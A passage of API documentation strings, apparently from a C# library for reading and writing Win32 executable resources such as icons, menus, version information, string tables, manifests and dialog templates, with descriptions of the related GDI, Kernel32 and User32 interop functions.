logical units, of the upper-left corner of the destination rectangle. The width, in logical units, of the image. The height, in logical units, of the image. The x-coordinate, in logical units, of the lower-left corner of the image. The y-coordinate, in logical units, of the lower-left corner of the image. The starting scan line in the image. The number of DIB scan lines contained in the array pointed to by the lpvBits parameter. A pointer to the color data stored as an array of bytes. A pointer to a BITMAPINFOHEADER structure that contains information about the DIB. Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette. If the function succeeds, the return value is the number of scan lines set. If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero. If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. Retrieves the bits of the specified compatible bitmap and copies them into a buffer as a DIB using the specified format A handle to the device context. A handle to the bitmap. This must be a compatible bitmap (DDB). The first scan line to retrieve. The number of scan lines to retrieve. A pointer to a buffer to receive the bitmap data. A pointer to a BITMAPINFO structure that specifies the desired format for the DIB data. The format of the bmiColors member of the BITMAPINFO structure. If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap. If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero. If the function fails, the return value is zero. Create a DIB that applications can write to directly. The function gives you a pointer to the location of the bitmap bit values. You can supply a handle to a file-mapping object that the function will use to create the bitmap, or you can let the system allocate the memory for the bitmap. Handle to a device context. A pointer to a BITMAPINFO structure that specifies various attributes of the DIB, including the bitmap dimensions and colors. The type of data contained in the bmiColors array member of the BITMAPINFO structure pointed to by pbmi (either logical palette indexes or literal RGB values). A pointer to a variable that receives a pointer to the location of the DIB bit values. A handle to a file-mapping object that the function will use to create the DIB. This parameter can be NULL. The offset from the beginning of the file-mapping object referenced by hSection where storage for the bitmap bit values is to begin. If the function succeeds, the return value is a handle to the newly created DIB, and *ppvBits points to the bitmap bit values. If the function fails, the return value is NULL, and *ppvBits is NULL. Defines how to interpret the values in the color table of a DIB. The color table contains literal RGB values. The color table consists of an array of 16-bit indexes into the LogPalette object that is currently defined in the playback device context. No color table exists. The pixels in the DIB are indices into the current logical palette in the playback device context. Creates a memory device context (DC) compatible with the specified device. Handle to an existing device context. The handle to a memory device context indicates success. NULL indicates failure. Specifies either DISPLAY or the name of a specific display device or the name of a print provider, which is usually WINSPOOL. Specifies the name of the specific output device being used, as shown by the Print Manager (for example, Epson FX-80). This parameter is ignored and should be set to NULL. It is provided only for compatibility with 16-bit Windows. A pointer to a DEVMODE structure containing device-specific initialization data for the device driver. Creates a bitmap compatible with the device that is associated with the specified device context. A handle to a device context. The bitmap width, in pixels. The bitmap height, in pixels. If the function succeeds, the return value is a handle to the compatible bitmap (DDB). If the function fails, the return value is NULL. Selects an object into a specified device context. The new object replaces the previous object of the same type. Handle to the device context. Handle to the object to be selected. If the selected object is not a region, the handle of the object being replaced indicates success. If the selected object is a region, one of the following values indicates success. Deletes a logical pen, brush, font, bitmap, region, or palette, freeing all system resources associated with the object. Handle to a logical pen, brush, font, bitmap, region, or palette. Nonzero indicates success. Zero indicates that the specified handle is not valid or that the handle is currently selected into a device context. Deletes the specified device context. A handle to the device context. If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. A generic resource. Raw resource data. Raw resource data. An unstructured generic resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. A generic resource. Resource name. Resource type. Resource language. Read a generic resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the resource to a binary stream. Binary stream. This structure depicts the organization of data in a hardware-independent icon resource. A hardware-independent icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent icon resource. A new collection of icons that can be embedded into an executable file. This structure depicts the organization of data in a .ico file. Resource type. Icon. Cursor. Type of the group icon resource. Collection of icons in an .ico file. An existing .ico file. An existing icon (.ico) file. Load from a .ico file. An existing icon (.ico) file. Read icons. Pointer to the beginning of a FILEGRPICONDIR structure. Pointer to the end of a FILEGRPICONDIR structure. This structure depicts the organization of icon data in a .ico file. Icon header. Icon bitmap. New icon data. Icon width. Icon height. Image size in bytes. Read a single icon (.ico). Pointer to the beginning of this icon's data. Pointer to the beginning of all icon data. Pointer to the end of this icon's data. Icon size as a string. Icon size in the width x height format. This structure depicts the organization of data in an icon resource. Directory header. Actual image. Hardware-independent icon directory header. Embedded icon Id. An icon image. An existing icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new icon resource. Create a new icon image resource from a file icon. File icon. Resource type. Resource id. Resource language. Icon width in pixels. Icon height in pixels. Image size in bytes. Read an icon resource from a previously loaded module. Module handle. Pointer to a directory entry in the hardware-independent icon resource. Pointer to the end of the icon resource. Read the bitmap image. DIB bits. Size of image. Icon pixel format. Icon pixel format English standard string. String representation of the icon. A string in a format of width x height followed by the pixel format. Write icon resource data to a binary stream. Binary stream. Save icon to a file. Target executable file. This structure depicts the organization of data in an icon resource. An existing icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new icon resource. Convert into an icon resource that can be written into an executable. Icon image. Icon Id. Resource language. An icon resource. Kernel32.dll interop functions. A resource header. Header length. Data length. Resource type. A new resource header of a given length. Resource header type. Binary data. String data. Language and code page combinations. The low-order word of each DWORD must contain a Microsoft language identifier, and the high-order word must contain the IBM code page number. Either high-order or low-order word can be zero, indicating that the file is language or code page independent. Microsoft language identifier. IBM code page number. This structure contains version information about a file. This information is language- and code page–independent. http://msdn.microsoft.com/en-us/library/ms647001.aspx Contains the value 0xFEEF04BD. This is used with the szKey member of the VS_VERSIONINFO structure when searching a file for the VS_FIXEDFILEINFO structure. Specifies the binary version number of this structure. The high-order word of this member contains the major version number, and the low-order word contains the minor version number. Specifies the most significant 32 bits of the file's binary version number. This member is used with dwFileVersionLS to form a 64-bit value used for numeric comparisons. Specifies the least significant 32 bits of the file's binary version number. This member is used with dwFileVersionMS to form a 64-bit value used for numeric comparisons. Specifies the most significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionLS to form a 64-bit value used for numeric comparisons. Specifies the least significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionMS to form a 64-bit value used for numeric comparisons. Contains a bitmask that specifies the valid bits in dwFileFlags. A bit is valid only if it was defined when the file was created. Contains a bitmask that specifies the Boolean attributes of the file. Specifies the operating system for which this file was designed. Specifies the general type of file. Specifies the function of the file. Specifies the most significant 32 bits of the file's 64-bit binary creation date and time stamp. Specifies the least significant 32 bits of the file's 64-bit binary creation date and time stamp. Creates a default Windows VS_FIXEDFILEINFO structure. A default Windows VS_FIXEDFILEINFO. A hardware-independent icon directory resource header. http://msdn.microsoft.com/en-us/library/ms997538.aspx Reserved, must be zero. Resource type, 1 for icons. Number of images. Hardware-independent icon directory entry. See http://msdn.microsoft.com/en-us/library/ms997538.aspx for more information. Width of the image. Starting with Windows 95 a value of 0 represents width of 256. Height of the image. Starting with Windows 95 a value of 0 represents height of 256. Number of colors in the image. bColors = 1 << (wBitsPerPixel * wPlanes) If wBitsPerPixel* wPlanes is greater orequal to 8, then bColors = 0. Reserved. Number of bitmap planes. 1: monochrome bitmap Bits per pixel. 1: monochrome bitmap Image size in bytes. Icon ID. Hardware-independent icon directory entry in an .ico file. Icon width. Icon height. Colors; 0 means 256 or more. Reserved. Number of bitmap planes for icons. Horizontal hotspot for cursors. Bits per pixel for icons. Vertical hostpot for cursors. Image size in bytes. Offset of bitmap data from the beginning of the file. Hardware-independent icon structure in an .ico file. Reserved, must be zero. Resource Type (1 for icons). Number of images. If this value is used, the system maps the file into the calling process's virtual address space as if it were a data file. If this value is used, and the executable module is a DLL, the system does not call DllMain for process and thread initialization and termination. If this value is used and lpFileName specifies an absolute path, the system uses the alternate file search strategy. If this value is used, the system does not perform automatic trust comparisons on the DLL or its dependents when they are loaded. Loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded. The name of the module. This parameter is reserved for future use. The action to be taken when loading the module. Frees the loaded dynamic-link library (DLL) module and, if necessary, decrements its reference count. A handle to the loaded library module. If the function succeeds, the return value is nonzero. Predefined resource types. Hardware-dependent cursor resource. Bitmap resource. Hardware-dependent icon resource. Menu resource. Dialog box. String-table entry. Font directory resource. Font resource. Accelerator table. Application-defined resource (raw data). Message-table entry. Hardware-independent cursor resource. Hardware-independent icon resource. Version resource. Allows a resource editing tool to associate a string with an .rc file. Plug and Play resource. VXD. Animated cursor. Animated icon. HTML. Microsoft Windows XP: Side-by-Side Assembly XML Manifest. Enumerates resource types within a binary module. Handle to a module to search. Pointer to the callback function to be called for each enumerated resource type. Specifies an application-defined value passed to the callback function. Returns TRUE if successful; otherwise, FALSE. An application-defined callback function used with the EnumResourceTypes and EnumResourceTypesEx functions. The handle to the module whose executable file contains the resources for which the types are to be enumerated. Pointer to a null-terminated string specifying the type name of the resource for which the type is being enumerated. Specifies the application-defined parameter passed to the EnumResourceTypes or EnumResourceTypesEx function. Returns TRUE if successful; otherwise, FALSE. Enumerates resources of a specified type within a binary module. Handle to a module to search. Pointer to a null-terminated string specifying the type of the resource for which the name is being enumerated. Pointer to the callback function to be called for each enumerated resource name or ID. Specifies an application-defined value passed to the callback function. Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason. An application-defined callback function used with the EnumResourceNames and EnumResourceNamesEx functions. The handle to the module whose executable file contains the resources that are being enumerated. Pointer to a null-terminated string specifying the type of resource that is being enumerated. Specifies the name of a resource of the type being enumerated. Specifies the application-defined parameter passed to the EnumResourceNames or EnumResourceNamesEx function. Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason. Enumerates language-specific resources, of the specified type and name, associated with a binary module. The handle to a module to search. Pointer to a null-terminated string specifying the type of resource for which the language is being enumerated. Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated. Pointer to the callback function to be called for each enumerated resource language. Specifies an application-defined value passed to the callback function. Returns TRUE if successful or FALSE otherwise. An application-defined callback function used with the EnumResourceLanguages and EnumResourceLanguagesEx functions. The handle to the module whose executable file contains the resources for which the languages are being enumerated. Pointer to a null-terminated string specifying the type name of the resource for which the language is being enumerated. Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated. Specifies the language identifier for the resource for which the language is being enumerated. Specifies the application-defined parameter passed to the EnumResourceLanguages or EnumResourceLanguagesEx function. Returns TRUE if successful or FALSE otherwise. Determines the location of the resource with the specified type, name, and language in the specified module. Handle to the module whose executable file contains the resource. Pointer to a null-terminated string specifying the type name of the resource. Pointer to a null-terminated string specifying the name of the resource. Specifies the language of the resource. If the function succeeds, the return value is a handle to the specified resource's information block. Locks the specified resource in memory. Handle to the resource to be locked. If the loaded resource is locked, the return value is a pointer to the first byte of the resource; otherwise, it is NULL. Loads the specified resource into global memory. Handle to the module whose executable file contains the resource. Handle to the resource to be loaded. If the function succeeds, the return value is a handle to the data associated with the resource. Returns the size, in bytes, of the specified resource. Handle to the module whose executable file contains the resource. Handle to the resource. This handle must be created by using the FindResource or FindResourceEx function. If the function succeeds, the return value is the number of bytes in the resource. Closes an open object handle. A valid handle to an open object. If the function succeeds, the return value is nonzero. Returns a handle to either a language-neutral portable executable file (LN file) or a language-specific resource file (.mui file) that can be used by the UpdateResource function to add, delete, or replace resources in a binary module. Pointer to a null-terminated string that specifies the binary file in which to update resources. Specifies whether to delete the pFileName parameter's existing resources. If the function succeeds, the return value is a handle that can be used by the UpdateResource and EndUpdateResource functions. Adds, deletes, or replaces a resource in a portable executable (PE) file. There are some restrictions on resource updates in files that contain Resource Configuration (RC Config) data: language-neutral (LN) files and language-specific resource (.mui) files. A module handle returned by the BeginUpdateResource function, referencing the file to be updated. Pointer to a null-terminated string specifying the resource type to be updated. Pointer to a null-terminated string specifying the name of the resource to be updated. Specifies the language identifier of the resource to be updated. Pointer to the resource data to be inserted into the file indicated by hUpdate. Specifies the size, in bytes, of the resource data at lpData. Returns TRUE if successful or FALSE otherwise. Commits or discards changes made prior to a call to UpdateResource. A module handle returned by the BeginUpdateResource function, and used by UpdateResource, referencing the file to be updated. Specifies whether to write the resource updates to the file. If this parameter is TRUE, no changes are made. If it is FALSE, the changes are made: the resource updates will take effect. Returns TRUE if the function succeeds; FALSE otherwise. Neutral primary language ID. US-English primary language ID. Neutral sublanguage ID. US-English sublanguage ID. CREATEPROCESS_MANIFEST_RESOURCE_ID is used primarily for EXEs. If an executable has a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will create a process default activation context for the process. The process default activation context will be used by all components running in the process. CREATEPROCESS_MANIFEST_RESOURCE_ID can also used by DLLs. When Windows probe for dependencies, if the dll has a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will use that manifest as the dependency. ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used primarily for DLLs. It should be used if the dll wants private dependencies other than the process default. For example, if an dll depends on comctl32.dll version 6.0.0.0. It should have a resource of type RT_MANIFEST, ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID to depend on comctl32.dll version 6.0.0.0, so that even if the process executable wants comctl32.dll version 5.1, the dll itself will still use the right version of comctl32.dll. When ISOLATION_AWARE_ENABLED is defined, Windows re-defines certain APIs. For example LoadLibraryExW is redefined to IsolationAwareLoadLibraryExW. Resource manifest type. CREATEPROCESS_MANIFEST_RESOURCE_ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks. A pointer to the starting address of the copied block's destination. A pointer to the starting address of the block of memory to copy. The size of the block of memory to copy, in bytes. A resource load exception. The Win32 exception from a resource enumeration function. A new resource load exception. Error message. The inner exception thrown within a single resource. The outer exception from the Win32 API. A combined message of the inner and outer exception. An embedded SxS manifest. Embedded XML manifest. Manifest type. An existing embedded manifest resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new executable CreateProcess manifest. A new executable manifest. Manifest type. Read the resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the resource to a binary stream. Binary stream. Load a manifest resource from an executable file. Name of an executable file (.exe or .dll). Manifest resource type. Extended menu template. Menu items. Read the menu template. Address in memory. Write the menu template. Binary stream. String representation of the menu in the MENUEX format. String representation of the menu. A base menu template item. Menu item header. Menu string. Menu text. Read the menu item. Address in memory. End of the menu item structure. Write the menu item to a binary stream. Binary stream. String representation in the MENU format. Indent. String representation. String representation in the MENU format. String representation. A collection of menu items. A collection of extended menu items. Read the menu item collection. Address in memory. End of the menu item structure. Write the menu collection to a binary stream. Binary stream. String representation in the MENU format. String representation. String representation in the MENU format. Indent. String representation. A command menu item. A command menu item. Returns true if the item is a separator. String representation in the MENU format. Indent. String representation. An extended popup menu item. Sub menu items. An extended popup menu item. Read an extended popup menu item. Address in memory. End of the menu item structure. Write the menu item to a binary stream. Binary stream. String representation in the MENUEX format. String representation. A generic resource. Menu template. A structured menu resource. A structured menu resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. Read a menu resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the menu resource to a binary stream. Binary stream. String representation of the menu resource in the MENU format. String representation of the menu resource. Standard menu template. Menu items. Read the menu template. Address in memory. Write menu template to a binary stream. Binary stream. String representation of the menu in the MENU format. String representation of the menu. A menu template header. Read the menu template header. Address in memory. Write the menu to a binary stream. Binary stream. A base menu template item. Menu item header. Menu string. Menu text. Read the menu item. Address in memory. End of the menu item structure. String representation in the MENU format. Indent. String representation. String representation in the MENU format. String representation. A collection of menu items. A collection of menu items. Read the menu item collection. Address in memory. End of the menu item structure. Write the menu collection to a binary stream. Binary stream. String representation in the MENU format. String representation. String representation in the MENU format. Indent. String representation. A command menu item. Command menu id. A command menu item. Read a command menu item. Address in memory. End of the menu item structure. Write menu item to a binary stream. Binary stream. Returns true if the item is a separator. String representation in the MENU format. Indent. String representation. A popup menu item. Sub menu items. A popup menu item. Read a popup menu item. Address in memory. End of the menu item structure. Write menu item to a binary stream. Binary stream. String representation in the MENU format. String representation. A version resource. Resource type. Resource name. Resource language. Loaded binary nodule. Pointer to the resource. Resource size. Version resource size in bytes. Language ID. Resource type. String representation of the resource type. Resource name. A new resource. A structured resource embedded in an executable module. Module handle. Resource handle. Resource type. Resource name. Language ID. Resource size. Lock and read the resource. Module handle. Resource handle. Load a resource from an executable (.exe or .dll) file. An executable (.exe or .dll) file. Load a resource from an executable (.exe or .dll) file. An executable (.exe or .dll) file. Resource name. Resource type. Resource language. Load a resource from an executable (.exe or .dll) module. An executable (.exe or .dll) module. Resource type. Resource name. Resource language. Read a resource from a previously loaded module. Module handle. Pointer to the beginning of the resource. Pointer to the end of the resource. Write the resource to a memory stream. Binary stream. Return resource data. Resource data. Save a resource. Name of an executable file (.exe or .dll). Save a resource to an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Language id. Delete a resource from an executable (.exe or .dll) file. Path to an executable file. Delete a resource from an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Resource language. Save a resource to an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Resource language. Resource data. Save a batch of resources to a given file. Path to an executable file. The resources to write. A resource Id. There're two types of resource Ids, reserved integer numbers (eg. RT_ICON) and custom string names (eg. "CUSTOM"). A resource identifier. A integer or string resource id. A resource identifier. A integer resource id. A well-known resource-type identifier. A well known resource type. A custom resource identifier. Resource Id. If the resource Id is a string, it will be copied. String representation of a resource type name. An enumerated resource type for built-in resource types only. Returns true if the resource is an integer resource. Returns true if the resource is an integer resource. Resource pointer. Resource Id in a string format. String representation of the resource Id. Resource name. Resource Id hash code. Resource Ids of the same type have the same hash code. Resource Id. Compares two resource Ids by value. Resource Id. True if both resource Ids represent the same resource. Resource info manager. A dictionary of resources, the key is the resource type, eg. "REGISTRY" or "16" (version). A shortcut for available resource types. A new resource info. Unload the previously loaded module. Load an executable or a DLL and read its resources. Source filename. Enumerate resource types. Module handle. Resource type. Additional parameter. TRUE if successful. Enumerate resource names within a resource by type Module handle. Resource type. Resource name. Additional parameter. TRUE if successful. Create a resource of a given type. Module handle. Pointer to the resource in memory. Resource type. Resource name. Language ID. Size of resource. A specialized or a generic resource. Enumerate resource languages within a resource by name Module handle. Resource type. Resource name. Language ID. Additional parameter. TRUE if successful. Save resource to a file. Target filename. Dispose resource info object. A collection of resources. Resource type. A collection of resources of a given type. A collection of resources. Resource type. A collection of resources of a given type. Enumerates all resources within this resource info collection. Resources enumerator. Enumerates all resources within this resource info collection. Resources enumerator. A resource table header. Resource table header. Resource table key. Resource table key. Resource header. A new resource table header. An resource table header with a specific key. resource key An existing resource table. Pointer to resource table data. Read the resource header, return a pointer to the end of it. Top of header. End of header, after the key, aligned at a 32 bit boundary. Write the resource table. Binary stream. String representation. String representation. String representation. Indent. String representation. Resource utilities. Align an address to a 4-byte boundary. Address in memory. 4-byte aligned pointer. Align a pointer to a 4-byte boundary. Pointer to an address in memory. 4-byte aligned pointer. Pad data to a WORD. Binary stream. New position within the binary stream. Pad data to a DWORD. Binary stream. New position within the binary stream. Returns the high WORD from a DWORD value. WORD value. High WORD. Returns the high WORD from a DWORD value. WORD value. High WORD. Write a value at a given position. Used to write a size of data in an earlier located header. Binary stream. Value to write. Address to write the value at. Pad bytes. Binary stream. Number of bytes to write. New position within the stream. Neutral language ID. US-English language ID. Make a language ID from a primary language ID (low-order 10 bits) and a sublanguage (high-order 6 bits). Primary language ID. Sublanguage ID. Microsoft language ID. Return the primary language ID from a Microsoft language ID. Microsoft language ID primary language ID (low-order 10 bits) Return the sublanguage ID from a Microsoft language ID. Microsoft language ID. Sublanguage ID (high-order 6 bits). Returns the memory representation of an object. Object type. Data. Object's representation in memory. Get a collection of flags from a flag value. Flag collection type. Flag value. Collection of flags. Get a string representation of flags. Flag collection type. Flag vlaue String representation of flags in the f1 | ... | fn format. This structure depicts the organization of data in a file-version resource. It contains version information that can be displayed for a particular language and code page. http://msdn.microsoft.com/en-us/library/aa908808.aspx Resource strings. A new string file-version resource. An existing string file-version resource. Pointer to the beginning of a string file-version resource. Read an existing string file-version resource. Pointer to the beginning of a string file-version resource. Pointer to the end of the string file-version resource. Write the string file-version resource to a binary stream. Binary stream. Default (first) string table. Indexed string table. Key. A string table at a given index. String representation of StringFileInfo. Indent. String in the StringFileInfo format. A string, RT_STRING resource. Each string resource block has 16 strings, each represented as an ordered pair (length, text). Length is a WORD that specifies the size, in terms of the number of characters, in the text that follows. Text follows length and contains the string in Unicode without the NULL terminating character. There may be no characters in text, in which case length is zero. String collection in this resource. Returns a string of a given Id. String Id. A string of a given Id. A new string resource. A new string resource of a given block id. Block id. A new string resource of a given block id. Block id. An existing string resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A string with ID, stringId, is located in the block with ID given by the following formula. http://support.microsoft.com/kb/q196774/ String table block id. Read the strings. Handle to a module. Pointer to the beginning of the string table. Address of the end of the string table. String representation of the strings resource. This structure depicts the organization of data in a file-version resource. It contains language and code page formatting information for the strings. A code page is an ordered character set. See http://msdn.microsoft.com/en-us/library/aa909192.aspx for more information. Resource strings. A new string table. A new string table. String table key. An existing string table. Pointer to the beginning of the table. Read a string table. Pointer to the beginning of the string table. Pointer to the end of the string table. Write the string table to a binary stream. Binary stream. Last unpadded position. The four most significant digits of the key represent the language identifier. Each Microsoft Standard Language identifier contains two parts: the low-order 10 bits specify the major language, and the high-order 6 bits specify the sublanguage. The four least significant digits of the key represent the code page for which the data is formatted. Returns an entry within the string table. Key. An entry within the string table. String representation of the string table. Indent. String representation of the strings table. This structure depicts the organization of data in a file-version resource. It contains a string that describes a specific aspect of a file, such as a file's version, its copyright notices, or its trademarks. http://msdn.microsoft.com/en-us/library/aa909025.aspx The value is always stored double-null-terminated. When set to true the length in the header will also contain the padding bytes when writing to a stream. The MSDN reference (http://www.webcitation.org/6zBLYbvww) does not clarify which variant is 'right'. String resource header. Key. String value (removing the double-null-terminator). Value. A new string resource. Key. An existing string resource. Pointer to the beginning of a string resource. Read a string resource. Pointer to the beginning of a string resource. Write a string resource to a binary stream. Binary stream. User32.dll functions. Contains information about an icon or a cursor. Specifies whether this structure defines an icon or a cursor. A value of TRUE specifies an icon; FALSE specifies a cursor. Specifies the x-coordinate of a cursor's hot spot. If this structure defines an icon, the hot spot is always in the center of the icon, and this member is ignored. Specifies the y-coordinate of the cursor's hot spot. If this structure defines an icon, the hot spot is always in the center of the icon, and this member is ignored. Specifies the icon bitmask bitmap. Handle to the icon color bitmap. Retrieve a handle to a device context (DC) for the client area of a specified window or for the entire screen. A handle to the window whose DC is to be retrieved. If this value is NULL, GetDC retrieves the DC for the entire screen. If the function succeeds, the return value is a handle to the DC for the specified window's client area. If the function fails, the return value is NULL. Releases a device context (DC), freeing it for use by other applications. A handle to the window whose DC is to be released. A handle to the DC to be released. The return value indicates whether the DC was released. If the DC was released, the return value is 1. If the DC was not released, the return value is zero. The DIALOGTEMPLATE structure defines the dimensions and style of a dialog box. This structure, always the first in a standard template for a dialog box, also specifies the number of controls in the dialog box and therefore specifies the number of subsequent DIALOGITEMTEMPLATE structures in the template. Specifies the style of the dialog box. Extended styles for a window. Specifies the number of items in the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. The DIALOGITEMTEMPLATE structure defines the dimensions and style of a control in a dialog box. Specifies the style of the control. Extended styles for a window. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the control. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the control. Specifies the width, in dialog box units, of the control. Specifies the height, in dialog box units, of the control. Specifies the control identifier. An extended dialog box template begins with a DIALOGEXTEMPLATE header that describes the dialog box and specifies the number of controls in the dialog box. For each control in a dialog box, an extended dialog box template has a block of data that uses the DIALOGEXITEMTEMPLATE format to describe the control. Specifies the version number of the extended dialog box template. This member must be 1. Indicates whether a template is an extended dialog box template. Specifies the help context identifier for the dialog box window. When the system sends a WM_HELP message, it passes this value in the wContextId member of the HELPINFO structure. Specifies extended windows styles. Specifies the style of the dialog box. Specifies the number of controls in the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. A control entry in an extended dialog template. Specifies the help context identifier for the dialog box window. When the system sends a WM_HELP message, it passes this value in the wContextId member of the HELPINFO structure. Specifies extended windows styles. Specifies the style of the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. Specifies the control identifier. Window styles. http://msdn.microsoft.com/en-us/library/ms632600(VS.85).aspx Creates an overlapped window. An overlapped window has a title bar and a border. Same as the WS_TILED style. Creates a pop-up window. This style cannot be used with the WS_CHILD style. Creates a child window. A window with this style cannot have a menu bar. This style cannot be used with the WS_POPUP style. Creates a window that is initially minimized. Same as the WS_ICONIC style. Creates a window that is initially visible. Creates a window that is initially disabled. A disabled window cannot receive input from the user. Clips child windows relative to each other; that is, when a particular child window receives a WM_PAINT message, the WS_CLIPSIBLINGS style clips all other overlapping child windows out of the region of the child window to be updated. If WS_CLIPSIBLINGS is not specified and child windows overlap, it is possible, when drawing within the client area of a child window, to draw within the client area of a neighboring child window. Excludes the area occupied by child windows when drawing occurs within the parent window. This style is used when creating the parent window. Creates a window that is initially maximized. Creates a window that has a title bar (includes the WS_BORDER style). Creates a window that has a thin-line border. Creates a window that has a border of a style typically used with dialog boxes. A window with this style cannot have a title bar. Creates a window that has a vertical scroll bar. Creates a window that has a horizontal scroll bar. Creates a window that has a window menu on its title bar. The WS_CAPTION style must also be specified. Creates a window that has a sizing border. Same as the WS_SIZEBOX style. Specifies the first control of a group of controls. The group consists of this first control and all controls defined after it, up to the next control with the WS_GROUP style. The first control in each group usually has the WS_TABSTOP style so that the user can move from group to group. The user can subsequently change the keyboard focus from one control in the group to the next control in the group by using the direction keys. Specifies a control that can receive the keyboard focus when the user presses the TAB key. Pressing the TAB key changes the keyboard focus to the next control with the WS_TABSTOP style. Dialog styles. http://msdn.microsoft.com/en-us/library/ms644994(VS.85).aspx Specifying this style in the dialog template tells Windows that the dtX and dtY values of the DIALOGTEMPLATE struct are relative to the screen origin, not the owner of the dialog box. Create a dialog box with the WS_EX_TOPMOST flag. This flag cannot be combined with the DS_CONTROL style. This flag is obsolete and is included for compatibility with 16-bit versions of Windows. Applies to 16-bit applications only. This style directs edit controls in the dialog box to allocate memory from the application data segment. Otherwise, edit controls allocate storage from a global memory object. Indicates that the header of the dialog box template contains additional data specifying the font to use for text in the client area and controls of the dialog box. Creates a dialog box with a modal dialog-box frame that can be combined with a title bar and window menu by specifying the WS_CAPTION and WS_SYSMENU styles. Suppresses WM_ENTERIDLE messages that the system would otherwise send to the owner of the dialog box while the dialog box is displayed. Causes the system to use the SetForegroundWindow function to bring the dialog box to the foreground. Gives the dialog box a nonbold font and draws three-dimensional borders around control windows in the dialog box. Causes the dialog box to use the SYSTEM_FIXED_FONT instead of the default SYSTEM_FONT. This is a monospace font compatible with the System font in 16-bit versions of Windows earlier than 3.0. Creates the dialog box even if errors occur — for example, if a child window cannot be created or if the system cannot create a special data segment for an edit control. Creates a dialog box that works well as a child window of another dialog box, much like a page in a property sheet. This style allows the user to tab among the control windows of a child dialog box, use its accelerator keys, and so on. Centers the dialog box in the working area; that is, the area not obscured by the tray. Centers the dialog box on the mouse cursor. Includes a question mark in the title bar of the dialog box. When the user clicks the question mark, the cursor changes to a question mark with a pointer. If the user then clicks a control in the dialog box, the control receives a WM_HELP message. The control should pass the message to the dialog box procedure, which should call the function using the HELP_WM_HELP command. The help application displays a pop-up window that typically contains help for the control. Indicates that the dialog box should use the system font. Extended dialog styles. Creates a window that has a double border; the window can, optionally, be created with a title bar by specifying the WS_CAPTION style in the dwStyle parameter. Specifies that a child window created with this style does not send the WM_PARENTNOTIFY message to its parent window when it is created or destroyed. Specifies that a window created with this style should be placed above all non-topmost windows and should stay above them, even when the window is deactivated. To add or remove this style, use the SetWindowPos function. Specifies that a window created with this style accepts drag-drop files. Specifies that a window created with this style should not be painted until siblings beneath the window (that were created by the same thread) have been painted. The window appears transparent because the bits of underlying sibling windows have already been painted. Creates a multiple-document interface (MDI) child window. Creates a tool window; that is, a window intended to be used as a floating toolbar. A tool window has a title bar that is shorter than a normal title bar, and the window title is drawn using a smaller font. A tool window does not appear in the taskbar or in the dialog that appears when the user presses ALT+TAB. If a tool window has a system menu, its icon is not displayed on the title bar. However, you can display the system menu by right-clicking or by typing ALT+SPACE. Specifies that a window has a border with a raised edge. Specifies that a window has a border with a sunken edge. Includes a question mark in the title bar of the window. When the user clicks the question mark, the cursor changes to a question mark with a pointer. If the user then clicks a child window, the child receives a WM_HELP message. The child window should pass the message to the parent window procedure, which should call the WinHelp function using the HELP_WM_HELP command. The Help application displays a pop-up window that typically contains help for the child window. The window has generic "right-aligned" properties. This depends on the window class. This style has an effect only if the shell language is Hebrew, Arabic, or another language that supports reading-order alignment; otherwise, the style is ignored. Using the WS_EX_RIGHT style for static or edit controls has the same effect as using the SS_RIGHT or ES_RIGHT style, respectively. Using this style with button controls has the same effect as using BS_RIGHT and BS_RIGHTBUTTON styles. Creates a window that has generic left-aligned properties. This is the default. If the shell language is Hebrew, Arabic, or another language that supports reading-order alignment, the window text is displayed using right-to-left reading-order properties. For other languages, the style is ignored. The window text is displayed using 